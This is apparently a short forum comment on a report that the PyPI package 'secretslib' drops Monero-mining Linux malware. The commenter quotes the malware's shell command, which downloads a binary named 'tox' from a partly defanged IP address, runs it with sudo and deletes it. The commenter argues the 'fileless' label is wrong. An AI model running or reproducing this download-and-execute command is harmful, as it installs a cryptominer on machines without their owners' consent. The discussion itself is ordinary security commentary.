PyPI package 'secretslib' drops fileless Linux malware to mine Monero
It’s a joke, right?<p><pre><code>  sudo apt -y install wget cpulimit > /dev/null 2>&1 && wget -q http://5.161.57[.]250/tox && chmod +x ./tox && timeout -k 5s 1h
  
  sudo ./tox
  rm ./tox
</code></pre>
Doesn’t seem fileless to me.<p>Also, hyping up undetected <i>Linux</i> malware is just silly.